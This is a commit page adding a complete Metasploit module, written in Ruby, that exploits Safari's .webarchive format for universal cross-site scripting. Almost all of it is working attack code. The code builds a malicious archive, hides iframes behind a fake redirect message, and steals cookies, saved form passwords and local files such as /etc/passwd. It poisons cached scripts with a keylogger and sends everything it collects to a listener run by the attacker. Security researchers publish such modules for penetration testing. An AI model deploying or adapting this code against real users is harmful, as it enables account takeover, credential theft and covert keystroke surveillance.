Merge #1767, @jvennix-r7's .webarchive UXSS
For disclosure details, see: https://community.rapid7.com/community/metasploit/blog/2013/04/18/abusing-safaris-webarchive-file-formatunstable
commit
d570923b62
|
@ -0,0 +1,807 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'open-uri'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
# [Array<Array<Hash>>] list of poisonable scripts per user-specified URLS
|
||||
attr_accessor :scripts_to_poison
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apple Safari .webarchive File Format UXSS',
|
||||
'Description' => %q{
|
||||
This module exploits a security context vulnerability that is inherent
|
||||
in Safari's .webarchive file format. The format allows you to
|
||||
specify both domain and content, so we can run arbitrary script in the
|
||||
context of any domain. This allows us to steal cookies, file URLs, and saved
|
||||
passwords from any website we want. On sites that link to cached javascripts,
|
||||
we can poison the user's browser cache and install keyloggers.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'joev',
|
||||
'References' =>
|
||||
[
|
||||
# none yet
|
||||
],
|
||||
'DisclosureDate' => 'Feb 22 2013',
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'WebServer' ]
|
||||
],
|
||||
'PassiveActions' =>
|
||||
[
|
||||
'WebServer'
|
||||
],
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']),
|
||||
OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']),
|
||||
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']),
|
||||
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]),
|
||||
OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]),
|
||||
OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache "+
|
||||
"with a javascript keylogger.", true]),
|
||||
OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]),
|
||||
|
||||
OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for"+
|
||||
" stealing form data.", true])
|
||||
],
|
||||
self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if should_install_keyloggers?
|
||||
print_status("Fetching URLs to parse and look for cached assets...")
|
||||
self.scripts_to_poison = find_cached_scripts
|
||||
end
|
||||
print_status("Creating '#{datastore['FILENAME']}' file...")
|
||||
file_create(webarchive_xml)
|
||||
print_status("Running WebServer...")
|
||||
start_http
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
# clear my resource, deregister ref, stop/close the HTTP socket
|
||||
begin
|
||||
@http_service.remove_resource("/grab")
|
||||
@http_service.deref
|
||||
@http_service.stop
|
||||
@http_service.close
|
||||
@http_service = nil
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||||
# exception is only raised if the DisableGzip advanced option has not been
|
||||
# set.
|
||||
#
|
||||
def use_zlib
|
||||
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
|
||||
fail_with(Exploit::Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Handle the HTTP request and return a response. Code borrorwed from:
|
||||
# msf/core/exploit/http/server.rb
|
||||
#
|
||||
def start_http(opts={})
|
||||
# Ensture all dependencies are present before initializing HTTP
|
||||
use_zlib
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if (comm.to_s == "local")
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
# Default the server host / port
|
||||
opts = {
|
||||
'ServerHost' => datastore['SRVHOST'],
|
||||
'ServerPort' => datastore['SRVPORT'],
|
||||
'Comm' => comm
|
||||
}.update(opts)
|
||||
|
||||
# Start a new HTTP server
|
||||
@http_service = Rex::ServiceManager.start(
|
||||
Rex::Proto::Http::Server,
|
||||
opts['ServerPort'].to_i,
|
||||
opts['ServerHost'],
|
||||
datastore['SSL'],
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
opts['Comm'],
|
||||
datastore['SSLCert']
|
||||
)
|
||||
|
||||
@http_service.server_name = datastore['HTTP::server_name']
|
||||
|
||||
# Default the procedure of the URI to on_request_uri if one isn't
|
||||
# provided.
|
||||
uopts = {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => "/grab"
|
||||
}.update(opts['Uri'] || {})
|
||||
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
|
||||
if (opts['ServerHost'] == '0.0.0.0')
|
||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||
end
|
||||
|
||||
# Add path to resource
|
||||
@service_path = uopts['Path']
|
||||
@http_service.add_resource(uopts['Path'], uopts)
|
||||
|
||||
# As long as we have the http_service object, we will keep the ftp server alive
|
||||
while @http_service
|
||||
select(nil, nil, nil, 1)
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
begin
|
||||
data = if request.body.size > 0
|
||||
request.body
|
||||
else
|
||||
request.qstring['data']
|
||||
end
|
||||
data = JSON::parse(data || '')
|
||||
print_status "Received data: #{data}"
|
||||
rescue # json error, dismiss request & keep crit. server up
|
||||
end
|
||||
end
|
||||
|
||||
### ASSEMBLE THE WEBARCHIVE XML ###
|
||||
|
||||
# @return [String] contents of webarchive as an XML document
|
||||
def webarchive_xml
|
||||
xml = webarchive_header
|
||||
urls.each_with_index { |url, idx| xml << webarchive_iframe(url, idx) }
|
||||
xml << webarchive_footer
|
||||
end
|
||||
|
||||
# @return [String] the first chunk of the webarchive file, containing the WebMainResource
|
||||
def webarchive_header
|
||||
%Q|
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
||||
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>WebMainResource</key>
|
||||
<dict>
|
||||
<key>WebResourceData</key>
|
||||
<data>
|
||||
#{Rex::Text.encode_base64(iframes_container_html)}</data>
|
||||
<key>WebResourceFrameName</key>
|
||||
<string></string>
|
||||
<key>WebResourceMIMEType</key>
|
||||
<string>text/html</string>
|
||||
<key>WebResourceTextEncodingName</key>
|
||||
<string>UTF-8</string>
|
||||
<key>WebResourceURL</key>
|
||||
<string>file:///</string>
|
||||
</dict>
|
||||
<key>WebSubframeArchives</key>
|
||||
<array>
|
||||
|
|
||||
end
|
||||
|
||||
# @return [String] the XML markup to insert into the webarchive for each unique
|
||||
# iframe (we use one frame per site we want to steal)
|
||||
def webarchive_iframe(url, idx)
|
||||
%Q|
|
||||
<dict>
|
||||
<key>WebMainResource</key>
|
||||
<dict>
|
||||
<key>WebResourceData</key>
|
||||
<data>
|
||||
#{Rex::Text.encode_base64(iframe_content_for_url(url))}</data>
|
||||
<key>WebResourceFrameName</key>
|
||||
<string><!--framePath //<!--frame#{idx}-->--></string>
|
||||
<key>WebResourceMIMEType</key>
|
||||
<string>text/html</string>
|
||||
<key>WebResourceTextEncodingName</key>
|
||||
<string>UTF-8</string>
|
||||
<key>WebResourceURL</key>
|
||||
<string>#{escape_xml url}</string>
|
||||
</dict>
|
||||
#{webarchive_iframe_subresources(url, idx)}
|
||||
</dict>
|
||||
|
|
||||
end
|
||||
|
||||
# @return [String] the XML mark up for adding a set of "stored" resources at
|
||||
# the given URLs
|
||||
def webarchive_iframe_subresources(url, idx)
|
||||
%Q|
|
||||
<key>WebSubresources</key>
|
||||
<array>
|
||||
#{webarchive_resources_for_poisoning_cache(url)}
|
||||
</array>
|
||||
|
|
||||
end
|
||||
|
||||
# @return [String] the XML markup to insert into the webarchive for each unique
|
||||
# iframe (we use one frame per site we want to steal)
|
||||
# @return '' if msf user does not want to poison cache
|
||||
def webarchive_resources_for_poisoning_cache(url)
|
||||
if not should_install_keyloggers? then return '' end
|
||||
|
||||
url_idx = urls.index(url)
|
||||
scripts = scripts_to_poison[url_idx] || []
|
||||
xml_dicts = scripts.map do |script|
|
||||
script_body = inject_js_keylogger(script[:body])
|
||||
puts
|
||||
%Q|
|
||||
<dict>
|
||||
<key>WebResourceData</key>
|
||||
<data>
|
||||
#{Rex::Text.encode_base64(script_body)}
|
||||
</data>
|
||||
<key>WebResourceMIMEType</key>
|
||||
<string>application/javascript</string>
|
||||
<key>WebResourceResponse</key>
|
||||
<data>
|
||||
#{Rex::Text.encode_base64 web_response_xml(script)}
|
||||
</data>
|
||||
<key>WebResourceURL</key>
|
||||
<string>#{escape_xml script[:url]}</string>
|
||||
</dict>
|
||||
|
|
||||
end
|
||||
xml_dicts.join
|
||||
end
|
||||
|
||||
# @return [String] the closing chunk of the webarchive XML code
|
||||
def webarchive_footer
|
||||
%Q|
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
|
|
||||
end
|
||||
|
||||
# @param [script] hash containing HTTP headers from the request
|
||||
# @return [String] xml markup for serialized WebResourceResponse containing good
|
||||
# stuff like HTTP/caching headers. Safari appears to do the following:
|
||||
# NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data];
|
||||
# [a encodeObject:response forKey:@"WebResourceResponse"];
|
||||
def web_response_xml(script)
|
||||
# this is a binary plist, but im too lazy to write a real encoder.
|
||||
# ripped this straight out of a safari webarchive save.
|
||||
script['content-length'] = script[:body].length
|
||||
whitelist = %w(content-type content-length date etag
|
||||
Last-Modified cache-control expires)
|
||||
headers = script.clone.delete_if { |k, v| not whitelist.include? k }
|
||||
|
||||
key_set = headers.keys.sort
|
||||
val_set = key_set.map { |k| headers[k] }
|
||||
key_refs = key_set.each_with_index.map do |k, i|
|
||||
{ 'CF$UID' => 9+i }
|
||||
end
|
||||
val_refs = key_set.each_with_index.map do |k, i|
|
||||
{ 'CF$UID' => 9+key_set.length+i }
|
||||
end
|
||||
%Q|
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>$archiver</key>
|
||||
<string>NSKeyedArchiver</string>
|
||||
<key>$objects</key>
|
||||
<array>
|
||||
<string>$null</string>
|
||||
<dict>
|
||||
<key>$0</key>
|
||||
<integer>8</integer>
|
||||
<key>$1</key>
|
||||
<integer>1</integer>
|
||||
<key>$10</key>
|
||||
<integer>8</integer>
|
||||
<key>$11</key>
|
||||
<integer>0</integer>
|
||||
<key>$2</key>
|
||||
<integer>7</integer>
|
||||
<key>$3</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>2</integer>
|
||||
</dict>|+
|
||||
(4..7).map do |i|
|
||||
%Q|
|
||||
<key>$#{i}</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{i+1}</integer>
|
||||
</dict>|
|
||||
end.join("\n") + %Q|
|
||||
<key>$8</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{8+key_set.length*2+2}</integer>
|
||||
</dict>
|
||||
<key>$9</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>0</integer>
|
||||
</dict>
|
||||
<key>$class</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{8+key_set.length*2+3}</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>$class</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>4</integer>
|
||||
</dict>
|
||||
<key>NS.base</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>0</integer>
|
||||
</dict>
|
||||
<key>NS.relative</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>3</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
<string>#{escape_xml script[:url]}</string>
|
||||
<dict>
|
||||
<key>$classes</key>
|
||||
<array>
|
||||
<string>NSURL</string>
|
||||
<string>NSObject</string>
|
||||
</array>
|
||||
<key>$classname</key>
|
||||
<string>NSURL</string>
|
||||
</dict>
|
||||
<real>388430153.25252098</real>
|
||||
<integer>1</integer>
|
||||
<integer>200</integer>
|
||||
<dict>
|
||||
<key>$class</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{8+key_set.length*2+1}</integer>
|
||||
</dict>
|
||||
<key>NS.keys</key>
|
||||
<array>|+
|
||||
key_set.each_with_index.map do |k, i|
|
||||
%Q|<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{9+i}</integer>
|
||||
</dict>|
|
||||
end.join("\n") + %Q|
|
||||
</array>
|
||||
<key>NS.objects</key>
|
||||
<array>|+
|
||||
val_set.each_with_index.map do |k, i|
|
||||
%Q|<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{9+key_set.length+i}</integer>
|
||||
</dict>|
|
||||
end.join("\n") + %Q|
|
||||
</array>
|
||||
</dict>
|
||||
#{key_set.map{|s| "<string>#{s}</string>" }.join("\n")}
|
||||
#{val_set.map{|s| "<string>#{s}</string>" }.join("\n")}
|
||||
<dict>
|
||||
<key>$classes</key>
|
||||
<array>
|
||||
<string>NSMutableDictionary</string>
|
||||
<string>NSDictionary</string>
|
||||
<string>NSObject</string>
|
||||
</array>
|
||||
<key>$classname</key>
|
||||
<string>NSMutableDictionary</string>
|
||||
</dict>
|
||||
<integer>107961</integer>
|
||||
<dict>
|
||||
<key>$classes</key>
|
||||
<array>
|
||||
<string>NSHTTPURLResponse</string>
|
||||
<string>NSURLResponse</string>
|
||||
<string>NSObject</string>
|
||||
</array>
|
||||
<key>$classname</key>
|
||||
<string>NSHTTPURLResponse</string>
|
||||
</dict>
|
||||
</array>
|
||||
<key>$top</key>
|
||||
<dict>
|
||||
<key>WebResourceResponse</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>$version</key>
|
||||
<integer>100000</integer>
|
||||
</dict>
|
||||
</plist>
|
||||
|
|
||||
end
|
||||
|
||||
|
||||
#### JS/HTML CODE ####
|
||||
|
||||
# Wraps the result of the block in an HTML5 document and body
|
||||
def wrap_with_doc(&blk)
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
#{yield}
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
# Wraps the result of the block with <script> tags
|
||||
def wrap_with_script(&blk)
|
||||
"<script>#{yield}</script>"
|
||||
end
|
||||
|
||||
# @return [String] mark up for embedding the iframes for each URL in a place that is
|
||||
# invisible to the user
|
||||
def iframes_container_html
|
||||
hidden_style = "position:fixed; left:-600px; top:-600px;"
|
||||
wrap_with_doc do
|
||||
frames = urls.map { |url| "<iframe src='#{url}' style='#{hidden_style}'></iframe>" }
|
||||
communication_js + frames.join + injected_js_helpers + steal_files + message
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in script tags, that is inserted into the
|
||||
# WebMainResource (parent) frame so that child frames can communicate "up" to the parent
|
||||
# and send data out to the listener
|
||||
def communication_js
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
window.addEventListener('message', function(event){
|
||||
var x = new XMLHttpRequest;
|
||||
x.open('POST', '#{backend_url}#{collect_data_uri}', true);
|
||||
x.send(event.data);
|
||||
});
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] all the HTML markup required for executing the chosen attacks
|
||||
def iframe_content_for_url(url)
|
||||
# this JS code runs inside the iframes, in the context of url
|
||||
html = ''
|
||||
html << injected_js_helpers
|
||||
html << trigger_cache_poison_for_url(url) if should_install_keyloggers?
|
||||
html << steal_cookies_for_url(url) if should_steal_cookies?
|
||||
html << steal_form_data_for_url(url) if should_steal_form?
|
||||
wrap_with_doc { html }
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in a script tag, that steals the cookies
|
||||
# and response body/headers, and passes them back up to the parent.
|
||||
def steal_cookies_for_url(url)
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
try {
|
||||
var req = new XMLHttpRequest();
|
||||
var sent = false;
|
||||
req.open('GET', '#{url}', true);
|
||||
req.onreadystatechange = function() {
|
||||
if (!sent) {
|
||||
sendData('response_headers', req.getAllResponseHeaders());
|
||||
sendData('response_body', req.responseText);
|
||||
sent = true;
|
||||
}
|
||||
};
|
||||
req.send(null);
|
||||
} catch (e) {}
|
||||
sendData('cookie', document.cookie);
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in a script tag, that steals local files
|
||||
# and sends them back to the listener. This code is executed in the WebMainResource (parent)
|
||||
# frame, which runs in the file:// protocol
|
||||
def steal_files
|
||||
return '' unless should_steal_files?
|
||||
urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ')
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
var filesStr = "#{urls_str}";
|
||||
var files = filesStr.trim().split(/\s+/);
|
||||
var stealFile = function(url) {
|
||||
var req = new XMLHttpRequest();
|
||||
var sent = false;
|
||||
req.open('GET', url, true);
|
||||
req.onreadystatechange = function() {
|
||||
if (!sent && req.responseText && req.responseText.length > 0) {
|
||||
sendData(url, req.responseText);
|
||||
sent = true;
|
||||
}
|
||||
};
|
||||
req.send(null);
|
||||
};
|
||||
for (var i = 0; i < files.length; i++) stealFile(files[i]);
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in a script tag, that steals autosaved form
|
||||
# usernames and passwords. The attack first tries to render the target URL in an iframe,
|
||||
# and steal populated passwords from there. If the site disables iframes through the
|
||||
# X-Frame-Options header, we try popping open a new window and rendering the site in that.
|
||||
def steal_form_data_for_url(url)
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
var stealFormData = function(win, completeFn) {
|
||||
var doc = win.document;
|
||||
if (!doc) doc = win.contentDocument;
|
||||
return function() {
|
||||
var data = {}, found = false;
|
||||
try {
|
||||
var inputs = doc.querySelectorAll(
|
||||
'input[type=email],input[type=text],input[type=password],textarea'
|
||||
);
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i].value && inputs[i].value.length > 0) {
|
||||
found = true;
|
||||
data[inputs[i].name] = inputs[i].value;
|
||||
}
|
||||
}
|
||||
if (found) sendData(data);
|
||||
if (completeFn) completeFn.call();
|
||||
} catch(e) {}
|
||||
}
|
||||
}
|
||||
|
||||
var tryInNewWin = function() {
|
||||
var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;');
|
||||
if (y) {
|
||||
var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20);
|
||||
y.addEventListener('load', function() {
|
||||
window.setTimeout(stealFormData(y, function(){
|
||||
if (int1) {
|
||||
window.clearInterval(int1);
|
||||
int1 = null;
|
||||
}
|
||||
y.close();
|
||||
}), 500);
|
||||
}, false);
|
||||
}
|
||||
};
|
||||
var tryInIframe = function(){
|
||||
var i = document.createElement('iframe');
|
||||
i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;';
|
||||
document.body.appendChild(i);
|
||||
i.src = '#{url}';
|
||||
i.addEventListener('load', function() {
|
||||
window.setTimeout(stealFormData(i), 500);
|
||||
}, false);
|
||||
return i;
|
||||
};
|
||||
|
||||
var iframe = tryInIframe();
|
||||
if (#{should_pop_up?}) {
|
||||
window.setTimeout(function(){
|
||||
|
||||
if (iframe.contentDocument &&
|
||||
iframe.contentDocument.location.href == 'about:blank') {
|
||||
tryInNewWin();
|
||||
}
|
||||
}, 1000)
|
||||
}
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in script tag, that adds a helper function
|
||||
# called "sendData()" that passes the arguments up to the parent frame, where it is
|
||||
# sent out to the listener
|
||||
def injected_js_helpers
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
window.sendData = function(key, val) {
|
||||
var data = {};
|
||||
if (key && val) data[key] = val;
|
||||
if (!val) data = key;
|
||||
window.top.postMessage(JSON.stringify(data), "*")
|
||||
};
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] HTML markup that includes a script at the URL we want to poison
|
||||
# We will then install the injected_js_keylogger at the same URL
|
||||
def trigger_cache_poison_for_url(url)
|
||||
url_idx = urls.index(url)
|
||||
scripts_to_poison[url_idx].map { |s|
|
||||
"\n<script src='#{s[:url]}' type='text/javascript'></script>\n"
|
||||
}.join
|
||||
end
|
||||
|
||||
# @param [String] original_js the original contents of the script file
|
||||
# @return [String] the poisoned contents. Once the module has found a valid 304'd script to
|
||||
# poison, it "poisons" it by adding a keylogger, then adds the output as a resource with
|
||||
# appropriate Cache-Control to the webarchive.
|
||||
# @return [String] the original contents if msf user does not want to install keyloggers
|
||||
def inject_js_keylogger(original_js)
|
||||
if not should_install_keyloggers?
|
||||
original_js
|
||||
else
|
||||
frame_name = 'lalala___lalala'
|
||||
secret = '____INSTALLED!??!'
|
||||
%Q|
|
||||
(function(){
|
||||
if (window['#{secret}']) return;
|
||||
window['#{secret}'] = true;
|
||||
document.addEventListener('DOMContentLoaded',function(){
|
||||
var buffer = '';
|
||||
var sendData = function(keystrokes, time) {
|
||||
var img = new Image();
|
||||
data = JSON.stringify({keystrokes: keystrokes, time: time});
|
||||
img.src = '#{backend_url}#{collect_data_uri}?data='+data;
|
||||
}
|
||||
document.addEventListener('keydown', function(e) {
|
||||
var c = String.fromCharCode(e.keyCode);
|
||||
if (c.length > 0) buffer += c;
|
||||
}, true);
|
||||
window.setInterval(function(){
|
||||
if (buffer.length > 0) {
|
||||
sendData(buffer, new Date);
|
||||
buffer = '';
|
||||
}
|
||||
}, 3000)
|
||||
});
|
||||
})();
|
||||
#{original_js}
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Array<String>>] list of URLs provided by the user mapped to all of the linked
|
||||
# javascript assets in its HTML response.
|
||||
def all_script_urls(pages)
|
||||
pages.map do |url|
|
||||
results = []
|
||||
print_status "Fetching URL #{url}..."
|
||||
# fetch and parse the HTML document
|
||||
doc = Nokogiri::HTML(open(url))
|
||||
# recursively add scripts from iframes
|
||||
doc.css('iframe').each do |iframe|
|
||||
print_status "Checking iframe..."
|
||||
if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty?
|
||||
results += all_script_urls([iframe.attributes['src'].value])
|
||||
end
|
||||
end
|
||||
# add all scripts on the current page
|
||||
doc.css('script').each do |script| # loop over every <script>
|
||||
# external scripts only
|
||||
if not script.attributes['src'].nil? and not script.attributes['src'].value.empty?
|
||||
results << script.attributes['src'].value
|
||||
end
|
||||
end
|
||||
results
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Array<String>>] list of URLs for remote javascripts that are cacheable
|
||||
def find_cached_scripts
|
||||
cached_scripts = all_script_urls(urls).map do |urls_for_site|
|
||||
results = urls_for_site.uniq.map do |url|
|
||||
print_status "URL: #{url}"
|
||||
io = open url
|
||||
# parse some HTTP headers and do type coercions
|
||||
last_modified = io.last_modified
|
||||
expires = Time.parse(io.meta['expires']) rescue nil
|
||||
cache_control = io.meta['cache-control'] || ''
|
||||
charset = io.charset
|
||||
etag = io.meta['etag']
|
||||
# lets see if we are able to "poison" the cache for this asset...
|
||||
if (!expires.nil? && Time.now < expires) or
|
||||
(cache_control.length > 0) or # if asset is cacheable
|
||||
(last_modified.length > 0)
|
||||
print_status("Found cacheable #{url}")
|
||||
io.meta.merge(:body => io.read, :url => url)
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
results.compact # remove nils
|
||||
end
|
||||
print_status "Found #{cached_scripts.flatten.length} script(s) that are poisonable."
|
||||
cached_scripts
|
||||
end
|
||||
|
||||
### HELPERS ###
|
||||
|
||||
# @return [String] the path to send data back to
|
||||
def collect_data_uri
|
||||
"/grab"
|
||||
end
|
||||
|
||||
# @return [String] formatted http/https URL of the listener
|
||||
def backend_url
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
|
||||
"#{proto}://#{myhost}#{port_str}"
|
||||
end
|
||||
|
||||
# @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen
|
||||
# via the FILE_URLS module option.
|
||||
def interesting_file_urls
|
||||
[
|
||||
'file:///var/log/weekly.out', # may contain usernames
|
||||
'file:///private/var/log/secure.log',
|
||||
'file:///private/var/log/install.log',
|
||||
'file:///private/etc/passwd'
|
||||
]
|
||||
end
|
||||
|
||||
# @return [String] HTML content that is rendered in the <body> of the webarchive.
|
||||
def message
|
||||
"<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>"
|
||||
end
|
||||
|
||||
# @return [Array<String>] of URLs provided by the user
|
||||
def urls
|
||||
(datastore['URLS'] || '').split(/\s+/)
|
||||
end
|
||||
|
||||
# @param [String] input the unencoded string
|
||||
# @return [String] input with dangerous chars replaced with xml entities
|
||||
def escape_xml(input)
|
||||
input.gsub("&", "&").gsub("<", "<")
|
||||
.gsub(">", ">").gsub("'", "'")
|
||||
.gsub("\"", """)
|
||||
end
|
||||
|
||||
def should_steal_cookies?
|
||||
datastore['STEAL_COOKIES']
|
||||
end
|
||||
|
||||
def should_steal_form?
|
||||
datastore['STEAL_FORM_DATA']
|
||||
end
|
||||
|
||||
def should_steal_files?
|
||||
datastore['STEAL_FILES']
|
||||
end
|
||||
|
||||
def should_pop_up?
|
||||
should_steal_form? and datastore['ENABLE_POPUPS']
|
||||
end
|
||||
|
||||
def should_install_keyloggers?
|
||||
datastore['INSTALL_KEYLOGGERS']
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue